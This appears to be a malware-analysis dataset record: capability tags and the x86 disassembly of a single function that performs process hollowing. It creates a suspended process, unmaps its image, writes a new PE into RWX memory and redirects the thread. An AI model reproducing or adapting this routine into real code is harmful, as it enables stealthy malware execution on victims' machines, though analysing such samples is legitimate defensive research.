Function at 0x404384
Capabilities:
Allocate or change rwx memory
Enumerate pe sections
Execute shellcode via indirect call
Link many functions at runtime
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x37c
mov ebx, dword [ebp + 0xc]
lea esi, [ebp - 0x6c]
mov ecx, 0x44
xor eax, eax
mov edi, esi
rep stosb byte es:[edi], al
mov dword [0x412044], ebx
cmp word [ebx], 0x5a4d
je 0x4043b8
lea esp, [ebp - 0xc]
jmp 0x4866a8
mov eax, dword [ebx + 0x3c]
add eax, ebx
mov dword [0x412048], eax
cmp dword [eax], 0x4550
jne 0x4043ae
mov edi, dword [str.CreateProcessA]
mov dword [ebp - 0x338], 0x10007
mov dword [ebp - 0x6c], 0x44
mov eax, dword [str.KERNEL32]
mov dword [esp], eax
call sub.KERNEL32.dll_GetModuleHandleA
push edx
mov dword [esp + 4], edi
mov dword [esp], eax
call sub.KERNEL32.dll_GetProcAddress
sub esp, 8
mov dword [ebp - 0x354], eax
mov edi, dword [str.NtUnmapViewOfSection]
mov eax, dword [str.NTDLL]
mov dword [esp], eax
call sub.KERNEL32.dll_GetModuleHandleA
push ecx
mov dword [esp + 4], edi
mov dword [esp], eax
call sub.KERNEL32.dll_GetProcAddress
sub esp, 8
mov dword [ebp - 0x350], eax
mov edi, dword [str.VirtualAllocEx]
mov eax, dword [str.KERNEL32]
mov dword [esp], eax
call sub.KERNEL32.dll_GetModuleHandleA
push edx
mov dword [esp + 4], edi
mov dword [esp], eax
call sub.KERNEL32.dll_GetProcAddress
sub esp, 8
mov dword [ebp - 0x34c], eax
mov edi, dword [str.NtWriteVirtualMemory]
mov eax, dword [str.NTDLL]
mov dword [esp], eax
call sub.KERNEL32.dll_GetModuleHandleA
push ecx
mov dword [esp + 4], edi
mov dword [esp], eax
call sub.KERNEL32.dll_GetProcAddress
sub esp, 8
mov dword [ebp - 0x33c], eax
mov edi, dword [str.GetThreadContext]
mov eax, dword [str.KERNEL32]
mov dword [esp], eax
call sub.KERNEL32.dll_GetModuleHandleA
push edx
mov dword [esp + 4], edi
mov dword [esp], eax
call sub.KERNEL32.dll_GetProcAddress
sub esp, 8
mov dword [ebp - 0x348], eax
mov edi, dword [str.NtSetContextThread]
mov eax, dword [str.NTDLL]
mov dword [esp], eax
call sub.KERNEL32.dll_GetModuleHandleA
push ecx
mov dword [esp + 4], edi
mov dword [esp], eax
call sub.KERNEL32.dll_GetProcAddress
sub esp, 8
mov dword [ebp - 0x344], eax
mov edi, dword [section..data]
mov eax, dword [str.KERNEL32]
mov dword [esp], eax
call sub.KERNEL32.dll_GetModuleHandleA
push edx
mov dword [esp + 4], edi
mov dword [esp], eax
call sub.KERNEL32.dll_GetProcAddress
sub esp, 8
mov dword [ebp - 0x340], eax
lea eax, [ebp - 0x28]
mov dword [esp + 0x24], eax
mov dword [esp + 0x20], esi
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov dword [esp], 0
call dword [ebp - 0x354]
sub esp, 0x28
mov eax, dword [0x412048]
mov eax, dword [eax + 0x34]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
call dword [ebp - 0x350]
sub esp, 8
mov eax, dword [0x412048]
mov dword [esp + 0x10], 0x40
mov dword [esp + 0xc], 0x3000
mov edx, dword [eax + 0x50]
mov dword [esp + 8], edx
mov eax, dword [eax + 0x34]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
call dword [ebp - 0x34c]
sub esp, 0x14
mov eax, dword [0x412048]
mov dword [esp + 0x10], 0
mov edx, dword [eax + 0x54]
mov dword [esp + 0xc], edx
mov dword [esp + 8], ebx
mov eax, dword [eax + 0x34]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
call dword [ebp - 0x33c]
sub esp, 0x14
mov edx, dword [0x412048]
cmp word [edx + 6], 0
je 0x404632
xor edi, edi
xor esi, esi
mov eax, dword [0x412044]
mov eax, dword [eax + 0x3c]
lea eax, [edi + eax + 0xf8]
lea eax, [ebx + eax]
mov dword [0x412050], eax
mov dword [esp + 0x10], 0
mov ecx, dword [eax + 0x10]
mov dword [esp + 0xc], ecx
mov ecx, dword [eax + 0x14]
add ecx, ebx
mov dword [esp + 8], ecx
mov eax, dword [eax + 0xc]
add eax, dword [edx + 0x34]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
call dword [ebp - 0x33c]
sub esp, 0x14
inc esi
mov edx, dword [0x412048]
add edi, 0x28
movzx eax, word [edx + 6]
cmp eax, esi
jg 0x4045d8
lea ebx, [ebp - 0x338]
mov dword [esp + 4], ebx
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call dword [ebp - 0x348]
sub esp, 8
mov edx, dword [0x412048]
mov eax, dword [edx + 0x28]
add eax, dword [edx + 0x34]
mov dword [ebp - 0x288], eax
mov dword [esp + 4], ebx
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call dword [ebp - 0x344]
sub esp, 8
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call dword [ebp - 0x340]
push edi
jmp 0x4043ae